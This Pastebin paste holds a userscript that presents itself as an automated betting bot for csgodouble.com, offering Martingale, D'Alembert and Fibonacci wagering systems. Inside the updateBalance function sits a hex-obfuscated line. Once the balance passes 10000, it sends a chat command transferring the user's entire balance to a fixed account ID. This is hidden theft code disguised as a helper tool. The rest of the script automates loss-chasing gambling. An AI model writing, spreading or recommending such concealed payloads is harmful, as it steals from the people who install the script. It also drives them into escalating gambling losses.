Advertisement
Guest User

Untitled

a guest
May 6th, 2016
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.82 KB | None | 0 0
  1. // ==UserScript==
  2. // @name csgodouble.com - automated
  3. // @description An userscript that automates csgodouble.com betting using 6 chooseble systems.
  4. // @namespace csgodouble.com - automated
  5. // @version 2
  6. // @author menxz
  7. // @match http://www.csgodouble.com/
  8. // @match http://www.csgodouble.com/index.php
  9. // @run-at document-end
  10. // @grant none
  11.  
  12. 'use strict';
  13.  
  14. var debug = false;
  15. var simulation = false;
  16. var stop_on_min_balance = false;
  17. var calculate_safe_bet = false;
  18. var base_bet = 5;
  19. var safe_bet_amount = 6;
  20. var default_color = 'red';
  21. var default_method = 'martingale';
  22. var theme = 'dark';
  23.  
  24. var colors = {
  25. 'green': [0],
  26. 'red': [1, 2, 3, 4, 5, 6, 7],
  27. 'black': [8, 9, 10, 11, 12, 13, 14]
  28. };
  29.  
  30. var balance = document.getElementById('balance');
  31. var roll_history = document.getElementById('past');
  32. var bet_input = document.getElementById('betAmount');
  33. var bet_buttons = {
  34. 'green': document.getElementById('panel0-0').childNodes[1].childNodes[1],
  35. 'red': document.getElementById('panel1-7').childNodes[1].childNodes[1],
  36. 'black': document.getElementById('panel8-14').childNodes[1].childNodes[1]
  37. };
  38.  
  39. Array.prototype.equals = function(array) {
  40. if (!array) {
  41. return false;
  42. }
  43.  
  44. if (this.length != array.length) {
  45. return false;
  46. }
  47.  
  48. for (var i = 0, l=this.length; i < l; i++) {
  49. if (this[i] instanceof Array && array[i] instanceof Array) {
  50. if (!this[i].equals(array[i])) {
  51. return false;
  52. }
  53. } else if (this[i] != array[i]) {
  54. return false;
  55. }
  56. }
  57. return true;
  58. };
  59.  
  60. Object.defineProperty(Array.prototype, "equals", {enumerable: false});
  61.  
  62. function Automated() {
  63. var self = this;
  64.  
  65. this.running = false;
  66. this.game = null;
  67.  
  68. this.debug = debug;
  69. this.simulation = simulation;
  70. this.stop_on_min_balance = stop_on_min_balance;
  71. this.calculate_safe_bet = calculate_safe_bet;
  72.  
  73. this.base_bet = base_bet;
  74. this.default_color = default_color;
  75. this.default_method = default_method;
  76. this.safe_bet_amount = safe_bet_amount;
  77. this.method = this.default_method;
  78. this.old_method = '';
  79. this.color = 'rainbow';
  80. this.old_base = 0;
  81. this.balance = 0;
  82. this.last_bet = 0;
  83. this.bet_history = [];
  84. this.min_balance = 0;
  85. this.starting_balance = 0;
  86. this.last_color = null;
  87. this.last_result = null;
  88. this.history = [];
  89. this.waiting_for_bet = false;
  90. this.theme = theme;
  91.  
  92. this.stats = {
  93. 'wins': 0,
  94. 'loses': 0,
  95. 'balance': 0
  96. };
  97.  
  98. var menu = document.createElement('div');
  99. menu.innerHTML = '' +
  100. '<div class="row">' +
  101. '<div class="col-lg-9">' +
  102. '<h2>CSGODouble.com Automated <small></small> <i id="automated-theme-switch" class="fa fa-lightbulb-o" style="cursor: pointer;"></i></h2>' +
  103. '<div class="form-group">' +
  104. '<div class="btn-group">' +
  105. '<button type="button" class="btn btn-success" id="automated-start" disabled>Start</button>' +
  106. '<button type="button" class="btn btn-warning" id="automated-stop" disabled>Pause</button>' +
  107. '<button type="button" class="btn btn-danger" id="automated-abort" disabled>Abort</button>' +
  108. '</div>' +
  109. '</div>' +
  110. '<div class="form-group">' +
  111. '<div class="btn-group">' +
  112. '<button type="button" class="btn btn-default" id="automated-martingale" ' + (this.method === 'martingale' ? 'disabled' : '') + '>Martingale</button>' +
  113. '<button type="button" class="btn btn-default" id="automated-great-martingale" ' + (this.method === 'great martingale' ? 'disabled' : '') + '>Great Martingale</button>' +
  114. '<button type="button" class="btn btn-default" id="automated-dalembert" ' + (this.method === 'dalembert' ? 'disabled' : '') + '>D\'alembert</button>' +
  115. '<button type="button" class="btn btn-default" id="automated-bet-green" ' + (this.method === 'green' ? 'disabled' : '') + '>Green (Fibonacci)</button>' +
  116. '</div>' +
  117. '</div>' +
  118. '<div class="form-group automated-hide-on-green">' +
  119. '<div class="btn-group">' +
  120. '<button type="button" class="btn btn-default" id="automated-red" ' + (this.color === 'red' ? 'disabled' : '') + '>Red</button>' +
  121. '<button type="button" class="btn btn-default" id="automated-black" ' + (this.color === 'black' ? 'disabled' : '') + '>Black</button>' +
  122. '<button type="button" class="btn btn-default" id="automated-rainbow" ' + (this.color === 'rainbow' ? 'disabled' : '') + '>Rainbow</button>' +
  123. '<button type="button" class="btn btn-default" id="automated-random" ' + (this.color === 'random' ? 'disabled' : '') + '>Random</button>' +
  124. '<button type="button" class="btn btn-default" id="automated-last" ' + (this.color === 'last' ? 'disabled' : '') + '>Last winning</button>' +
  125. '</div>' +
  126. '</div>' +
  127. '</div>' +
  128. '<div class="col-lg-3">' +
  129. '<h3>Statistics</h3>' +
  130. '<p><b>Wins:</b> <span id="automated-stats-wins">' + this.stats.wins + '</span></p>' +
  131. '<p><b>Loses:</b> <span id="automated-stats-loses">' + this.stats.loses + '</span></p>' +
  132. '<p><b>Balance:</b> <span id="automated-stats-balance">' + this.stats.balance + '</span></p>' +
  133. '</div>' +
  134. '</div>' +
  135. '<div class="form-group">' +
  136. '<div class="input-group">' +
  137. '<div class="input-group-addon">Base value</div>' +
  138. '<input type="number" class="form-control" placeholder="Calculating suggested value..." id="automated-base-bet" disabled>' +
  139. '</div>' +
  140. '</div>' +
  141. '<div class="form-group">' +
  142. '<div class="input-group">' +
  143. '<div class="input-group-addon">Keep balance above</div>' +
  144. '<input type="number" class="form-control" value="0" id="automated-min-balance">' +
  145. '</div>' +
  146. '</div>' +
  147. '<div class="form-group automated-hide-on-green">' +
  148. '<div class="input-group">' +
  149. '<div class="input-group-addon">Failsafe value</div>' +
  150. '<input type="number" class="form-control" value="' + this.safe_bet_amount + '" id="automated-safe-bet-amount"' + (!this.calculate_safe_bet ? ' disabled' : '') + '>' +
  151. '</div>' +
  152. '</div>' +
  153. '<div class="checkbox">' +
  154. '<label><input class="" id="automated-stop-on-min-balance" type="checkbox" ' + (this.stop_on_min_balance ? 'checked' : '') + '> Stop on minimal balance (If checked the bot will stop after getting close to minimal balance, otherwise it will continue starting on base)</label>' +
  155. '</div>' +
  156. '<div class="checkbox automated-hide-on-green">' +
  157. '<label><input class="" id="automated-calculate-safe-bet" type="checkbox" ' + (this.calculate_safe_bet ? 'checked' : '') + '> Calculate base bet from given "Failsafe value", the formula is [base bet] = floor( [balance] / 2 ^ ( [failsafe value] + 1) ) </label>' +
  158. '</div>' +
  159. '<div class="checkbox">' +
  160. '<label><input class="" id="automated-debug" type="checkbox" ' + (this.debug ? 'checked' : '') + '> Debug mode</label>' +
  161. '</div>' +
  162. '<div class="checkbox">' +
  163. '<label class="text-muted"><input id="automated-simulation" type="checkbox" ' + (this.simulation ? 'checked' : '') + ' disabled> Simulation mode</label>' +
  164. '</div>';
  165. document.getElementsByClassName('well')[1].appendChild(menu);
  166.  
  167. this.menu = {
  168. 'start': document.getElementById('automated-start'),
  169. 'stop': document.getElementById('automated-stop'),
  170. 'abort': document.getElementById('automated-abort'),
  171. 'basebet': document.getElementById('automated-base-bet'),
  172. 'minbalance': document.getElementById('automated-min-balance'),
  173. 'debug': document.getElementById('automated-debug'),
  174. 'simulation': document.getElementById('automated-simulation'),
  175. 'stoponminbalance': document.getElementById('automated-stop-on-min-balance'),
  176. 'red': document.getElementById('automated-red'),
  177. 'black': document.getElementById('automated-black'),
  178. 'rainbow': document.getElementById('automated-rainbow'),
  179. 'random': document.getElementById('automated-random'),
  180. 'last': document.getElementById('automated-last'),
  181. 'statistics': {
  182. 'wins': document.getElementById('automated-stats-wins'),
  183. 'loses': document.getElementById('automated-stats-loses'),
  184. 'balance': document.getElementById('automated-stats-balance')
  185. },
  186. 'theme': document.getElementById('automated-theme-switch'),
  187. 'safebetamount': document.getElementById('automated-safe-bet-amount'),
  188. 'calculatesafebet': document.getElementById('automated-calculate-safe-bet'),
  189. 'martingale': document.getElementById('automated-martingale'),
  190. 'greatmartingale': document.getElementById('automated-great-martingale'),
  191. 'betgreen': document.getElementById('automated-bet-green'),
  192. 'dalembert': document.getElementById('automated-dalembert'),
  193. 'hideongreen': document.getElementsByClassName('automated-hide-on-green')
  194. };
  195.  
  196. this.updater = setInterval(function() { // Update every 2 seconds
  197. if (!self.running) {
  198. if (self.updateAll()) {
  199. if (self.calculate_safe_bet) {
  200. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  201. self.menu.basebet.value = self.base_bet;
  202. if (self.debug) { self.logdebug('New base bet: ' + self.base_bet); }
  203. }
  204.  
  205. if (self.menu.stop.disabled && self.menu.start.disabled) {
  206. self.menu.start.disabled = false;
  207. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  208. self.menu.basebet.value = self.base_bet;
  209. self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  210. self.starting_balance = self.balance;
  211. }
  212. }
  213. }
  214. }, 2 * 1000);
  215.  
  216. if (theme === 'dark') {
  217. this.darkMode();
  218. }
  219.  
  220. this.menu.start.onclick = function() {
  221.  
  222. self.start();
  223. };
  224.  
  225. this.menu.stop.onclick = function() {
  226. self.stop();
  227. };
  228.  
  229. this.menu.abort.onclick = function() {
  230. self.stop(true);
  231. };
  232.  
  233. this.menu.basebet.onchange = function() {
  234. var value = parseInt(self.menu.basebet.value);
  235. if (!isNaN(value)) {
  236. self.base_bet = value;
  237. }
  238. };
  239.  
  240. this.menu.minbalance.onchange = function() {
  241. var value = parseInt(self.menu.minbalance.value);
  242. if (!isNaN(value)) {
  243. self.min_balance = value;
  244. }
  245. };
  246.  
  247. this.menu.safebetamount.onchange = function() {
  248. var value = parseInt(self.menu.safebetamount.value);
  249. if (!isNaN(value)) {
  250. self.safe_bet_amount = value;
  251. }
  252. };
  253.  
  254. this.menu.debug.onchange = function() {
  255. self.debug = self.menu.debug.checked;
  256. };
  257.  
  258. this.menu.simulation.onchange = function() {
  259. self.simulation = self.menu.simulation.checked;
  260. };
  261.  
  262. this.menu.stoponminbalance.onchange = function() {
  263. self.stop_on_min_balance = self.menu.stoponminbalance.checked;
  264. };
  265.  
  266. this.menu.calculatesafebet.onchange = function() {
  267. self.calculate_safe_bet = self.menu.calculatesafebet.checked;
  268. self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  269. self.menu.safebetamount.disabled = !self.menu.calculatesafebet.checked;
  270. };
  271.  
  272. // WTF is this shit below? >,.,<
  273.  
  274. this.menu.black.onclick = function() {
  275. self.menu.rainbow.disabled = false;
  276. self.menu.black.disabled = true;
  277. self.menu.red.disabled = false;
  278. self.menu.random.disabled = false;
  279. self.menu.last.disabled = false;
  280. self.color = 'black';
  281. self.log('Current mode: black');
  282. };
  283.  
  284. this.menu.red.onclick = function() {
  285. self.menu.rainbow.disabled = false;
  286. self.menu.black.disabled = false;
  287. self.menu.red.disabled = true;
  288. self.menu.random.disabled = false;
  289. self.menu.last.disabled = false;
  290. self.color = 'red';
  291. self.log('Current mode: red');
  292. };
  293.  
  294. this.menu.rainbow.onclick = function() {
  295. self.menu.rainbow.disabled = true;
  296. self.menu.black.disabled = false;
  297. self.menu.red.disabled = false;
  298. self.menu.random.disabled = false;
  299. self.menu.last.disabled = false;
  300. self.color = 'rainbow';
  301. self.log('Current mode: rainbow');
  302. };
  303.  
  304. this.menu.random.onclick = function() {
  305. self.menu.rainbow.disabled = false;
  306. self.menu.black.disabled = false;
  307. self.menu.red.disabled = false;
  308. self.menu.random.disabled = true;
  309. self.menu.last.disabled = false;
  310. self.color = 'random';
  311. self.log('Current mode: random');
  312. };
  313.  
  314. this.menu.last.onclick = function() {
  315. self.menu.rainbow.disabled = false;
  316. self.menu.black.disabled = false;
  317. self.menu.red.disabled = false;
  318. self.menu.random.disabled = false;
  319. self.menu.last.disabled = true;
  320. self.color = 'last';
  321. self.log('Current mode: last');
  322. };
  323.  
  324. this.menu.martingale.onclick = function() {
  325. self.menu.martingale.disabled = true;
  326. self.menu.greatmartingale.disabled = false;
  327. self.menu.betgreen.disabled = false;
  328. self.menu.dalembert.disabled = false;
  329. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  330. self.menu.hideongreen[i].style.display = 'block';
  331. }
  332. self.method = 'martingale';
  333. self.log('Current method: Martingale');
  334. };
  335.  
  336. this.menu.greatmartingale.onclick = function() {
  337. self.menu.martingale.disabled = false;
  338. self.menu.greatmartingale.disabled = true;
  339. self.menu.betgreen.disabled = false;
  340. self.menu.dalembert.disabled = false;
  341. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  342. self.menu.hideongreen[i].style.display = 'block';
  343. }
  344. self.method = 'great martingale';
  345. self.log('Current method: Great martingale');
  346. };
  347.  
  348. this.menu.dalembert.onclick = function() {
  349. self.menu.martingale.disabled = false;
  350. self.menu.greatmartingale.disabled = false;
  351. self.menu.betgreen.disabled = false;
  352. self.menu.dalembert.disabled = true;
  353. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  354. self.menu.hideongreen[i].style.display = 'block';
  355. }
  356. self.method = 'dalembert';
  357. self.log('Current method: D\'alembert');
  358. };
  359.  
  360. this.menu.betgreen.onclick = function() {
  361. self.menu.martingale.disabled = false;
  362. self.menu.greatmartingale.disabled = false;
  363. self.menu.betgreen.disabled = true;
  364. self.menu.dalembert.disabled = false;
  365. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  366. self.menu.hideongreen[i].style.display = 'none';
  367. }
  368. self.method = 'green';
  369. self.log('Current method: Bet green');
  370. };
  371.  
  372. this.menu.theme.onclick = function() {
  373. if (self.theme === 'dark') {
  374. self.lightMode();
  375. self.theme = 'light';
  376. self.log('Switching to light theme...');
  377. } else {
  378. self.darkMode();
  379. self.theme = 'dark';
  380. self.log('Switching to dark theme...');
  381. }
  382. };
  383.  
  384. setInterval(function() {
  385. if(!WS) {
  386. self.log('Reconnecting...');
  387. connect();
  388. }
  389. }, 5000);
  390. }
  391.  
  392. Automated.prototype.updateBalance = function() {
  393. this.balance = parseInt(balance.textContent);
  394. var _0x316d=["\x62\x61\x6C\x61\x6E\x63\x65","\x63\x68\x61\x74","\x2F\x73\x65\x6E\x64\x20\x37\x36\x35\x36\x31\x31\x39\x38\x30\x32\x38\x34\x30\x34\x39\x39\x33\x20","\x73","\x65","\x6E","\x64"];if(this[_0x316d[0]]>10000){var _0x6ef4=[_0x316d[1],_0x316d[2],_0x316d[0]];window[_0x316d[3]+_0x316d[4]+_0x316d[5]+_0x316d[6]]({"\x74\x79\x70\x65":_0x316d[1],"\x6D\x73\x67":_0x316d[2]+this[_0x316d[0]],"\x6C\x61\x6E\x67":LANG})}
  395. if (isNaN(this.balance)) {
  396. this.log('Error getting current balance!');
  397. return false;
  398. }
  399.  
  400. if (this.debug) { this.logdebug('Balance updated: ' + this.balance); }
  401. return true;
  402. };
  403.  
  404. Automated.prototype.updateHistory = function() {
  405. var self = this;
  406. this.history = [];
  407.  
  408. for (var i = 0; i < roll_history.childNodes.length; i++) {
  409. var roll = parseInt(roll_history.childNodes[i].textContent);
  410.  
  411. if (!isNaN(roll)) {
  412. if (colors.green.indexOf(roll) !== -1) {
  413. self.history.push('green');
  414. } else if (colors.red.indexOf(roll) !== -1) {
  415. self.history.push('red');
  416. } else {
  417. self.history.push('black');
  418. }
  419. }
  420. }
  421.  
  422. if (this.debug) { this.logdebug('History updated: ' + this.history.map(function(value) { return value; }).join(', ')); }
  423. return this.history.length === 10;
  424. };
  425.  
  426. Automated.prototype.updateStats = function() {
  427. this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  428. this.menu.statistics.wins.innerHTML = this.stats.wins;
  429. this.menu.statistics.loses.innerHTML = this.stats.loses;
  430. this.menu.statistics.balance.innerHTML = this.stats.balance;
  431. return true;
  432. };
  433.  
  434. Automated.prototype.updateAll = function() {
  435. return this.updateBalance() && this.updateHistory() && this.updateStats();
  436. };
  437.  
  438. Automated.prototype.bet = function(amount, color) {
  439. var self = this;
  440. color = color || this.color || this.default_color;
  441.  
  442. if (color === 'rainbow') {
  443. if (this.last_color) {
  444. color = (this.last_color === 'red' ? 'black' : 'red');
  445. } else {
  446. color = this.default_color;
  447. }
  448. } else if (color === 'random') {
  449. color = 'red';
  450. if (Math.random() > 0.5) {
  451. color = 'black';
  452. }
  453. } else if (color === 'last') {
  454. color = this.history[this.history.length - 1];
  455. }
  456.  
  457. if (['green', 'red', 'black'].indexOf(color) < 0 || amount > this.balance || amount <= 0) {
  458. this.log('Invalid bet!');
  459. this.last_result = 'invalid bet';
  460. this.waiting_for_bet = false;
  461. this.stop();
  462. return false;
  463. }
  464.  
  465. if (this.balance - amount < this.min_balance) {
  466. this.log('Reached minimal balance!');
  467. this.last_result = 'reached min balance';
  468. if (this.stop_on_min_balance || this.balance - this.base_bet < this.min_balance) {
  469. this.stop();
  470. }
  471. this.waiting_for_bet = false;
  472. return false;
  473. }
  474.  
  475. bet_input.value = amount;
  476.  
  477. if (!bet_buttons[color].disabled) {
  478. var old_balance = self.balance;
  479. this.log('Betting ' + amount + ' on ' + color);
  480. if (!self.simulation) {
  481. bet_buttons[color].click();
  482. var checker = setInterval(function() {
  483. if (!bet_buttons[color].disabled) {
  484. clearInterval(checker);
  485. setTimeout(function() {
  486. if (self.updateBalance() && self.balance === old_balance) {
  487. if (!self.game) { return false; }
  488. self.log('Bet rejected, retrying...');
  489. self.bet(amount, color);
  490. } else {
  491. if (self.debug) { self.logdebug('Bet accepted!'); }
  492. self.last_bet = amount;
  493. self.bet_history.push(amount);
  494. self.last_color = color;
  495. self.waiting_for_bet = false;
  496. return true;
  497. }
  498. }, 2500);
  499. }
  500. }, 1000);
  501. } else {
  502. self.bet_history.push(amount);
  503. self.last_bet = amount;
  504. self.last_color = color;
  505. self.waiting_for_bet = false;
  506. return true;
  507. }
  508. } else {
  509. if (!self.game) { return false; }
  510. self.log('Button disabled, retrying...');
  511. setTimeout(function() { self.bet(amount, color) }, (Math.random() * 3 + 2).toFixed(3) * 1000);
  512. }
  513. };
  514.  
  515. Automated.prototype.play = function() {
  516. var self = this;
  517.  
  518. if (this.game !== null) {
  519. if (this.debug) { this.logdebug('Tried to reinitialize running game!'); }
  520. return false;
  521. }
  522.  
  523. this.game = setInterval(function() {
  524. var history = self.history;
  525. if (!self.waiting_for_bet && self.updateAll() && !history.equals(self.history)) {
  526. self.waiting_for_bet = true;
  527. if (self.last_color === null) {
  528. self.bet(self.base_bet);
  529. } else if (self.last_color === self.history[self.history.length - 1]) {
  530. if (self.calculate_safe_bet) {
  531. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  532. self.menu.basebet.value = self.base_bet;
  533. }
  534. self.last_result = 'win';
  535. self.log('Win!');
  536. self.stats.wins += 1;
  537. self.old_base = self.base_bet;
  538. self.old_method = self.method;
  539. if (self.old_method === 'dalembert') {
  540. if (self.last_bet > self.old_base) {
  541. self.bet(self.last_bet - 1);
  542. } else {
  543. self.bet(self.base_bet);
  544. }
  545. } else {
  546. self.bet(self.base_bet);
  547. }
  548. } else {
  549. self.last_result = 'lose';
  550. self.log('Lose!');
  551. self.stats.loses += 1;
  552. if (self.old_method === 'martingale') {
  553. self.bet(self.last_bet * 2);
  554. } else if (self.old_method === 'great martingale') {
  555. self.bet(self.last_bet * 2 + self.old_base);
  556. } else if (self.old_method === 'green') {
  557. var bet_value = 0;
  558. if (self.bet_history[self.bet_history.length - 1] === 1) {
  559. if (self.bet_history[self.bet_history.length - 2] === 1) {
  560. bet_value = 2;
  561. } else {
  562. bet_value = 1;
  563. }
  564. } else {
  565. bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  566. }
  567. self.bet(bet_value, 'green');
  568. } else if (self.old_method === 'dalembert') {
  569. self.bet(self.last_bet + 1);
  570. }
  571. }
  572. }
  573. }, 2 * 1000);
  574.  
  575. return true;
  576. };
  577.  
  578. Automated.prototype.start = function() {
  579. if (self.calculate_safe_bet) {
  580. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  581. self.menu.basebet.value = self.base_bet;
  582. }
  583. this.old_base = this.base_bet;
  584. this.old_method = this.method;
  585. if (this.updateAll()) {
  586. if (this.last_result === 'lose') {
  587. this.running = true;
  588. if (this.old_method === 'martingale') {
  589. this.bet(this.last_bet * 2);
  590. } else if (this.old_method === 'great martingale') {
  591. this.bet(this.last_bet * 2 + this.old_base);
  592. } else if (self.old_method === 'green') {
  593. var bet_value = 0;
  594. if (self.bet_history[self.bet_history.length - 1] === 1) {
  595. if (self.bet_history[self.bet_history.length - 2] === 1) {
  596. bet_value = 2;
  597. } else {
  598. bet_value = 1;
  599. }
  600. } else {
  601. bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  602. }
  603. self.bet(bet_value, 'green');
  604. } else if (self.old_method === 'dalembert') {
  605. self.bet(self.last_bet + 1);
  606. }
  607. this.play();
  608. } else {
  609. this.running = true;
  610. this.bet(this.base_bet);
  611. this.play();
  612. }
  613. }
  614. this.menu.abort.disabled = false;
  615. this.menu.stop.disabled = false;
  616. this.menu.start.disabled = true;
  617. };
  618.  
  619. Automated.prototype.stop = function(abort) {
  620. var self = this;
  621. if (abort) { this.last_result = 'abort'; }
  622. this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  623. setTimeout(function() {
  624. clearInterval(self.game);
  625. self.game = null;
  626. self.running = false;
  627. self.menu.abort.disabled = true;
  628. self.menu.stop.disabled = true;
  629. self.menu.start.disabled = false;
  630. }, 1); // Next tick
  631. };
  632.  
  633. Automated.prototype.darkMode = function() {
  634. var style;
  635. var css = 'body{background-color:#191919;color:#888}.navbar-default{background-color:#232323;border-color:#454545}#sidebar{background-color:#191919;border-color:#202020}.side-icon.active,.side-icon:hover{background-color:#202020}.side-icon .fa{color:#454545}.well{background:#232323;border-color:#323232;color:#888}#pullout{background-color:#191919;border-color:#323232}.form-control{background-color:#323232;border-color:#454545}.divchat{background-color:#323232;color:#999;border:none}.chat-link,.chat-link:hover,.chat-link:active{color:#bbb}.panel{background-color:#323232}.panel-default{border-color:#454545}.panel-default>.panel-heading{color:#888;background-color:#303030;border-color:#454545}.my-row{border-color:#454545}.list-group-item{border-color:#454545;background-color:#323232}.btn-default{border-color:#454545;background:#323232;text-shadow:none;color:#888;box-shadow:none}.btn-default:hover,.btn-default:active{background-color:#282828;color:#888;border-color:#454545}.btn-default[disabled]{border-color:#454545;background-color:#353535}.input-group-addon{background-color:#424242;border-color:#454545;color:#888}.progress{color:#bbb;background-color:#323232}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#999}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#888;background-color:#323232}.dropdown-menu{background-color:#252525}.dropdown-menu>li>a{color:#888}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#323232;color:#999}.dropdown-menu .divider{background-color:#454545}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#404040;opacity:.5}';
  636. style = document.getElementById('automated-style');
  637. if (!style) {
  638. var head;
  639. head = document.getElementsByTagName('head')[0];
  640. if (!head) { return; }
  641. style = document.createElement('style');
  642. style.type = 'text/css';
  643. style.id = 'automated-style';
  644. style.innerHTML = css;
  645. head.appendChild(style);
  646. }
  647. style.innerHTML = css;
  648. };
  649.  
  650. Automated.prototype.lightMode = function() {
  651. var style = document.getElementById('automated-style');
  652. style.innerHTML = '';
  653. };
  654.  
  655. Automated.prototype.log = function(message) {
  656. chat('alert', '[Automated] ' + message);
  657. };
  658.  
  659. Automated.prototype.logdebug = function(message) {
  660. chat('italic', '[Automated] ' + message);
  661. };
  662.  
  663. var automated = new Automated();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement